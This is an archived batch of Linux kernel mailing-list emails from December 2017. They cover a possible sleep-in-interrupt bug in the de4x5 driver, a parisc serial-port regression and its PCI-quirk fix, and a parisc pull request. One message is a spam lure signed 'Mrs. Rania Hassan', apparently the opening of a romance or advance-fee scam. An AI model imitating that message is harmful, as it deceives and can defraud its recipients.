Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2642203 gmane.linux.network:507916 gmane.linux.ports.parisc:28056
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2642203>

According to drivers/net/ethernet/dec/tulip/de4x5.c, the driver may 
sleep in the interrupt handler.
The function call path is:
de4x5_interrupt (interrupt handler)
   synchronize_irq --> may sleep

I do not find a good way to fix it, so I only report.
This possible bug is found by my static analysis tool (DSAC) and checked 
by my code review.


Thanks,
Jia-Ju Bai


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online... (serial port missing on v4.14)
Date: Wed, 13 Dec 2017 17:16:50 +0200
Organization: Intel Finland Oy
Lines: 47
Approved: news@gmane.org
Message-ID: <1513178210.7000.34.camel@linux.intel.com>
References: <20171208190644.GA22228@ls3530.fritz.box>
         <1512980798.25007.581.camel@linux.intel.com>
         <43eb21b5-75d9-1142-1307-c2e2d218b362@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1513178399 1666 195.159.176.226 (13 Dec 2017 15:19:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 13 Dec 2017 15:19:59 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: Helge Deller <deller@gmx.de>,
        Frank Scheiner <frank.scheiner@web.de>,
        linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>,
        linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 13 16:19:51 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eP8p4-0007vj-KG
	for glpp-linux-parisc@m.gmane.org; Wed, 13 Dec 2017 16:19:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753384AbdLMPT5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 13 Dec 2017 10:19:57 -0500
Original-Received: from mga14.intel.com ([192.55.52.115]:6671 "EHLO mga14.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751975AbdLMPTx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 13 Dec 2017 10:19:53 -0500
X-Amp-Result: SKIPPED(no attachment in message)
X-Amp-File-Uploaded: False
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by fmsmga103.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 13 Dec 2017 07:19:53 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.45,397,1508828400"; 
   d="scan'208";a="11993772"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by orsmga003.jf.intel.com with ESMTP; 13 Dec 2017 07:19:51 -0800
In-Reply-To: <43eb21b5-75d9-1142-1307-c2e2d218b362@gmx.de>
X-Mailer: Evolution 3.26.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28057 gmane.linux.serial:28138 gmane.linux.debian.ports.hppa:7660
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28057>

On Tue, 2017-12-12 at 21:11 +0100, Helge Deller wrote:
> On 11.12.2017 09:26, Andy Shevchenko wrote:
> > On Fri, 2017-12-08 at 20:06 +0100, Helge Deller wrote:

> Before your patch this check was inside the function
> serial_pci_guess_board()
> and if (ent->driver_data != pbn_default) the pci serial port got
> registered 
> and initialized *even* if it's *not* of class SERIAL or MODEM.

Ah, okay, it explains indeed.
Though PCI devices with wrong class should have their own quirks for my
p.o.v.

> > (Of course, I agree this is regression and needs to be fixed ASAP)
> 
> I don't know if it's easy to fix without reverting your patch.

As I explained earlier it's about pci_enable_device() called twice for
the same device which basically calls pcibios_enable_irq() twice which
might be a problem on some platforms. (At least I have such use case).
Perhaps it's possible to workaround the issue on those platforms, though
I didn't come up with the better solution that time.

> Thanks for the offer to accept this patch, but maybe we are able
> to come up with another patch which simply hides those unsupported
> devices (serial port and ATI graphics card device on the Diva card).
> I posted a proposed patch here:
> http://www.spinics.net/lists/linux-parisc/msg08187.html

Reading briefly that one I guess it's even better (now I realized you
even do not have connectors of those devices outside).

> But I wonder if we are the only platform which notice this different
> behavior now. I assume others will notice it soon too.

Why so? Most of the 8250 PCI devices are enumerated by class. Others
have no such misclassification.

-- 
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture fixes for 4.15-rc5
Date: Mon, 18 Dec 2017 19:34:09 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20171218183409.GA12524@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1513621957 19564 195.159.176.226 (18 Dec 2017 18:32:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 18 Dec 2017 18:32:37 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Dec 18 19:32:32 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eR0DG-0004cs-Ju
	for glk-linux-kernel-3@m.gmane.org; Mon, 18 Dec 2017 19:32:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S938325AbdLRSe3 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 18 Dec 2017 13:34:29 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:51075 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932605AbdLRSeT (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 18 Dec 2017 13:34:19 -0500
Original-Received: from ls3530.fritz.box ([193.159.22.106]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M4GND-1fIpXz1IZ9-00rpgR; Mon, 18
 Dec 2017 19:34:12 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:e68iSdgG0onxCFz59/DlnTydH2CAS2xruiiO25arKAdeZgz7baM
 GBvG6RHFEw8ne7Sc1xVhmAtRUQJinrppk2IF3uVvIWNmCdpT86YnBVQuVhDZLF1DG1punjK
 urk8O4i5WYWAXyeS+yDFi0BjaFFughRPfEbKNouUiupCFWimG2jrjKt7p9+C6abUJOaZ4jf
 CcMfoyxNlCRb/7XNdbDmA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:dHZyuXLdh+o=:kwYYTwnDW/PLlhr3/RT2DJ
 jiIK8rpxHGa1/qlCb3DUrEga6FAyL6fM6AqVyJNxN2r9PCWKHuLKO0QP6qLzpsn0TKeI6UAOd
 6W5XTgiuLi+15xdaGQz7M8fEUm4NooTQk8yT2t1LFK9drZf3hBZk7N8Fc6Q3mr/yhHt81P2Ql
 okSX8Nk2ZXRkZNBumYE1Zw38rqdCptGg/VxK5WCsCx1MDjQsv/zl2CtR7G2/HbbRJqZXNCL1p
 b3hhKQOJxxl1v32pVIYZ3c0rqb4tpsGH3vcHrPkarqpWpN+1SpuAS0V5eRlPzQSAhzhXBDNJ6
 cvzLPMstFg4EZmJC0OiAjNPtNEH97Nacaoo8wnzYBAk/nFamKTzC4xffFIlhWpvEpT+ohzOHH
 B30oX11+xzQuNN2d+M7riwPNgedBcGGPy8GI/JGy8kGOPbyXuzlPpBV94uAW/oswMoGn7JWzP
 Bx9JAjNYdT15BcmDtyS5mwXUEZD5s7dQz8ncA3BkqwKFBKWy6/kfqJRnvKvzoJC+rBtlQgxjg
 +8KcL88cZ/SV6UyMuYbgJRVLeV0AE0otJVwPYOh/gN8aBXCyk54l4ElxYHDd8++8vXhfwWmds
 w60yLDJrDgSmoZIQaDT0Cem4KOKhmx10n3Oy9r7NZ1Mm9/cUOqwN43BuGKZfwANOMTCIbRKsq
 y/22FXLRRaLq/KSut8YkoZAZjOV5xF/jYsOz6Qx9kZDj3uuPtFMBpEzdS9Cjjw45EC5AMspeb
 lSp5l1yNmWwZ6GlEC1KfMPaNdPGfoceV9j/Il1IL01kqFLV5nrgB8nFntVMqAt+e+eL2Ye95 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2647386 gmane.linux.ports.parisc:28058
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2647386>

Hi Linus,

please pull a few important fixes for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.15-2

There are two important fixes:
- Add PCI quirks to disable built-in a serial AUX and a graphics cards from
  specific GSP (management board) PCI cards. This fixes boot via serial console
  on rp3410 and rp3440 machines.

- Revert the "Re-enable interrups early" patch which was added to kernel v4.10.
  It can trigger stack overflows and thus silent data corruption. With this
  patch reverted we can lower our thread stack back to 16kb again.

The other patches are minor cleanups: avoid duplicate includes, indenting
fixes, correctly align variable in asm code.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (3):
      parisc: Fix indenting in puts()
      parisc: Align os_hpmc_size on word boundary
      parisc: Hide Diva-built-in serial aux and graphics card

John David Anglin (2):
      Revert "parisc: Re-enable interrupts early"
      parisc: Reduce thread stack to 16 kb

Pravin Shedge (1):
      parisc: remove duplicate includes

 arch/parisc/boot/compressed/misc.c    |  4 ++--
 arch/parisc/include/asm/thread_info.h |  5 +++++
 arch/parisc/kernel/entry.S            | 12 +++++++++---
 arch/parisc/kernel/hpmc.S             |  1 +
 arch/parisc/kernel/unwind.c           |  1 -
 arch/parisc/lib/delay.c               |  2 --
 drivers/parisc/lba_pci.c              | 33 +++++++++++++++++++++++++++++++++
 7 files changed, 50 insertions(+), 8 deletions(-)


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online... (serial port missing on v4.14)
Date: Mon, 18 Dec 2017 21:07:16 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <ebe416dd-aa18-9433-4dd7-67490d5778ee@gmx.de>
References: <20171208190644.GA22228@ls3530.fritz.box>
 <1512980798.25007.581.camel@linux.intel.com>
 <43eb21b5-75d9-1142-1307-c2e2d218b362@gmx.de>
 <1513178210.7000.34.camel@linux.intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1513627552 17728 195.159.176.226 (18 Dec 2017 20:05:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 18 Dec 2017 20:05:52 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: debian-hppa@lists.debian.org
To: Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
        Frank Scheiner <frank.scheiner@web.de>,
        linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>,
        linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 18 21:05:47 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eR1fX-00028l-91
	for glpp-linux-parisc@m.gmane.org; Mon, 18 Dec 2017 21:05:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1760038AbdLRUHt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 18 Dec 2017 15:07:49 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:61518 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752987AbdLRUHs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 18 Dec 2017 15:07:48 -0500
Original-Received: from [192.168.20.60] ([193.159.22.106]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LfCX2-1ekyDw03Zo-00onTG; Mon, 18
 Dec 2017 21:07:20 +0100
In-Reply-To: <1513178210.7000.34.camel@linux.intel.com>
Content-Language: en-US
X-Provags-ID: V03:K0:sVJq2s39R9tlfPEiOyzasDpy8MJVv3v2EcA91symRe9gTfL2K1H
 XCOsPT1j/fwT5aWgHRJpzJr8P79KwsBjwHWXhMgflSY4hY0EYBHuDXlR+0XPlFkESUAFR43
 ie/oZHg93MZqXQ07XIJyZuBu/fob7inijDBr1eTK7gOTGpmR69arDBUi0gFzdI5zDjZCs2z
 FuJml9ljZ20kgxlPA+5pQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:UKXxFJuy5YE=:agwfdsDeuq3I9TdPaPAPTB
 kmN3nKSlrc3ME/PgzvcrZyACBgUl1iMdg2f4oKaAmLzhVglaeHfxD3O5etG4O/rQGRn0JY57x
 5VN5UTVO6WNaM4vPmVZNqoOYAqf0WQQzoogvHnXGJ8byKAd8gU4fs1GKR1dL6BQtwxruC5yeJ
 IGBRQu+6IkQHTZOtCex7RmIsh9GbQp3A1zvDwWf6Uf+vkubDOcWY+U+7Z7Z7sbIfkvRAfYxWr
 dBCu8tGJLXJYCZCAWXOPVrbJfQ7kZ9odJpvIq4VjzJTwrfG3lBl/q4cPuo8oXYc1lgXWMXGpF
 ZhTfSh31TjK9FgRsafpoe5aCUK8BgQyJEVBqPKVjzCgfBVDgck+/k84/bRSTk8jVi2pGYJp/O
 onvRm5RGoRqEp7E8tHe7oLVXKrPVfjPK+QBjbaD7n/3koziZk2goAJOsMkvyw1iD17aW268EM
 HVNL64KVKkE8RPMTtnBUKcLa5aZ7nk64WqoKTs2cfNvjLw3Fj5BXwdwPMvOlFtuChREutRfJ4
 WsDsj6ykO+I2DS39PePmj2W3RYrR7wuXjGhWbd6/6bi7I2rtstJ5Tmlp7c9J/Wz79cGBjLJha
 YEvtQqKLvWt20Tt/0noP4/Betv4U4cGC6qqGQpHLhZd+52kC+sP2rB2c2Kn/bLSTekFC8qF/z
 7LhL9ZubAkUnZH7Kag1FND/nc43c+0LTeaXvIaDrt60WDKT+fXmQ1Lz/eO6AQ4A//BpBaUf1X
 iGtwVEl6Of8Z3ex/cn548VJzspbV5DmfO0+1i7P2vEB4/A4d2od2jR3glbWnlre3Icb+d05I 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28059 gmane.linux.serial:28207 gmane.linux.debian.ports.hppa:7661
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28059>

Hi Andy,

On 13.12.2017 16:16, Andy Shevchenko wrote:
> On Tue, 2017-12-12 at 21:11 +0100, Helge Deller wrote:
>> On 11.12.2017 09:26, Andy Shevchenko wrote:
>>> On Fri, 2017-12-08 at 20:06 +0100, Helge Deller wrote:
> 
>> Before your patch this check was inside the function
>> serial_pci_guess_board()
>> and if (ent->driver_data != pbn_default) the pci serial port got
>> registered 
>> and initialized *even* if it's *not* of class SERIAL or MODEM.
> 
> Ah, okay, it explains indeed.
> Though PCI devices with wrong class should have their own quirks for my
> p.o.v.
> 
>>> (Of course, I agree this is regression and needs to be fixed ASAP)
>>
>> I don't know if it's easy to fix without reverting your patch.
> 
> As I explained earlier it's about pci_enable_device() called twice for
> the same device which basically calls pcibios_enable_irq() twice which
> might be a problem on some platforms. (At least I have such use case).
> Perhaps it's possible to workaround the issue on those platforms, though
> I didn't come up with the better solution that time.
> 
>> Thanks for the offer to accept this patch, but maybe we are able
>> to come up with another patch which simply hides those unsupported
>> devices (serial port and ATI graphics card device on the Diva card).

>> I posted a proposed patch here:
>> http://www.spinics.net/lists/linux-parisc/msg08187.html
> 
> Reading briefly that one I guess it's even better (now I realized you
> even do not have connectors of those devices outside).

It's now fixed for parisc by new PCI quirks which
disable the parisc serial AUX port: 
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bcf3f1752a622f1372d3252d0fea8855d89812e7

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online... (serial port missing on v4.14)
Date: Tue, 19 Dec 2017 12:53:04 +0200
Organization: Intel Finland Oy
Lines: 33
Approved: news@gmane.org
Message-ID: <1513680784.7000.170.camel@linux.intel.com>
References: <20171208190644.GA22228@ls3530.fritz.box>
         <1512980798.25007.581.camel@linux.intel.com>
         <43eb21b5-75d9-1142-1307-c2e2d218b362@gmx.de>
         <1513178210.7000.34.camel@linux.intel.com>
         <ebe416dd-aa18-9433-4dd7-67490d5778ee@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1513680673 7006 195.159.176.226 (19 Dec 2017 10:51:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 19 Dec 2017 10:51:13 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: Helge Deller <deller@gmx.de>,
        Frank Scheiner <frank.scheiner@web.de>,
        linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>,
        linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 19 11:51:08 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eRFUI-00006M-7V
	for glpp-linux-parisc@m.gmane.org; Tue, 19 Dec 2017 11:51:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1762085AbdLSKxI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 19 Dec 2017 05:53:08 -0500
Original-Received: from mga11.intel.com ([192.55.52.93]:51008 "EHLO mga11.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1760672AbdLSKxH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 19 Dec 2017 05:53:07 -0500
X-Amp-Result: SKIPPED(no attachment in message)
X-Amp-File-Uploaded: False
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by fmsmga102.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 19 Dec 2017 02:53:07 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.45,426,1508828400"; 
   d="scan'208";a="19491314"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by orsmga002.jf.intel.com with ESMTP; 19 Dec 2017 02:53:04 -0800
In-Reply-To: <ebe416dd-aa18-9433-4dd7-67490d5778ee@gmx.de>
X-Mailer: Evolution 3.26.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28060 gmane.linux.serial:28212 gmane.linux.debian.ports.hppa:7662
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28060>

On Mon, 2017-12-18 at 21:07 +0100, Helge Deller wrote:
> Hi Andy,
> 
> On 13.12.2017 16:16, Andy Shevchenko wrote:
> > On Tue, 2017-12-12 at 21:11 +0100, Helge Deller wrote:
> > > On 11.12.2017 09:26, Andy Shevchenko wrote:
> > > > 
> > > Thanks for the offer to accept this patch, but maybe we are able
> > > to come up with another patch which simply hides those unsupported
> > > devices (serial port and ATI graphics card device on the Diva
> > > card).
> > > I posted a proposed patch here:
> > > http://www.spinics.net/lists/linux-parisc/msg08187.html
> > 
> > Reading briefly that one I guess it's even better (now I realized
> > you
> > even do not have connectors of those devices outside).
> 
> It's now fixed for parisc by new PCI quirks which
> disable the parisc serial AUX port: 
> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/com
> mit/?id=bcf3f1752a622f1372d3252d0fea8855d89812e7

Thank you for taking care of this.

-- 
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Sra. Angel Rania" <sra.angelrania83@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: You will definetely be interested...
Date: Wed, 27 Dec 2017 10:16:53 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <CAKx+QTsL6tbExobjfKn2Kvd+VURLikaeJ+JuuxF8mixxBiriEQ__42533.1119950444$1514369712$gmane$org@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1514369712 24504 195.159.176.226 (27 Dec 2017 10:15:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 27 Dec 2017 10:15:12 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 27 11:15:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eU8jq-0005s7-4i
	for glpp-linux-parisc@m.gmane.org; Wed, 27 Dec 2017 11:15:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751869AbdL0KRE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 27 Dec 2017 05:17:04 -0500
Original-Received: from mail-qt0-f195.google.com ([209.85.216.195]:46193 "EHLO
        mail-qt0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751641AbdL0KQ4 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 27 Dec 2017 05:16:56 -0500
Original-Received: by mail-qt0-f195.google.com with SMTP id r39so47339817qtr.13
        for <linux-parisc@vger.kernel.org>; Wed, 27 Dec 2017 02:16:55 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:from:date:message-id:subject:to;
        bh=XI1MOmnl6BkSX8cgp/62sLK1Xp5/a5cU5hSOyUNTaJ4=;
        b=n9k+/XqBbii9lGOa0TZWAG7u/DZ2lC6jCtzVVk/MuqN9j/l7BTT5ooq8lrJi1dwm5F
         elYrYMa3Xe0YWqNTDRua7BjheAB2bCqlf9dGMvjApFSbYvcHbAYr5enxpA4QdtzcGTxg
         0234wP8Gp0iInfdIZBWFu1H5mZPO6HuZpHpTKOwihgsHbgyGnNTtiJHcDGDsd0Qm+FS4
         jnXHbcavvcreak9DNNOAjlljVHRpSaxNkGOjmi2XT8gdbte+112JGFEkJElABwsxSgIY
         sU/EBP6DSSetts2uOM41PKROZ9RK4J+j1x+pKG4xHkje1X/19oQfy3ESOFRFDR7SPWvZ
         qTGg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:from:date:message-id:subject:to;
        bh=XI1MOmnl6BkSX8cgp/62sLK1Xp5/a5cU5hSOyUNTaJ4=;
        b=lbVIDE3PqQGAInBtYGZxlAXpoUl0qcBqxzuob+oJVNqmWRlEBNyfO2G4iV2EKmWQs1
         36Ej/WTbgld8j6YXtusoC/5Q12NLVEbVkHvDN1WvyW9goS6vUMFyO64pxKxtOo9SRTXc
         FzaV8Mi9GuW11hDCfJ1IRjYOM6lzv5XXD4dDbck8mDcHOnlBeiGWkLIrPw4ctofZLzQS
         sBdYoO/T5gbHeMDlJZnRNPagJuYuMGkxe1Vw8/H3ZZj68JL8kXSMq4Cv2HcJcBYopH+R
         4m9G5gq9aH4FqkqUi5n6kTQisw3t7PawAe4lnAkCSxkevDOGO0bJy6NprzTvG6mRqTzN
         U/gg==
X-Gm-Message-State: AKGB3mIoMkbERkJzOnznO8kIIT4RnAgGcxM1JEly1StoBDjStBBFv5Nq
        XVdIQD2O6a0Px08cSITlECkn5OCgGBBSj0/hfuM=
X-Google-Smtp-Source: ACJfBovAX1d0926OahTb+dyLrjGeXfsoM0+uG2/rPP1WkiuqRGYs8+SZtv0cD6jGGhAAMvf703QV0XfOc2bOrv7io8Y=
X-Received: by 10.200.49.166 with SMTP id h35mr36741361qte.293.1514369814189;
 Wed, 27 Dec 2017 02:16:54 -0800 (PST)
Original-Received: by 10.200.40.13 with HTTP; Wed, 27 Dec 2017 02:16:53 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28061
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28061>

Hi Dear,

Reading your profile has given me courage in search of a reasponsable
and trust worthy Fellow. The past has treated me so awfully but now I
am ready to move on despite of my health condition. I will like to
have a sincere and important discussion with you that will be in your
favor likewise to you and your environment especially to your close
family. Endeavor to reply me and I have attached my picture in case
you long to know who emailed you. I will be waiting to hear from you
as soon as possble.
Thanks for paying attention to my mail and will appreciate so much if
I receive a reply from you for understable details.

Thanks,

Mrs. Rania Hassan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: consolidate direct dma mapping and swiotlb support
Date: Fri, 29 Dec 2017 09:18:04 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
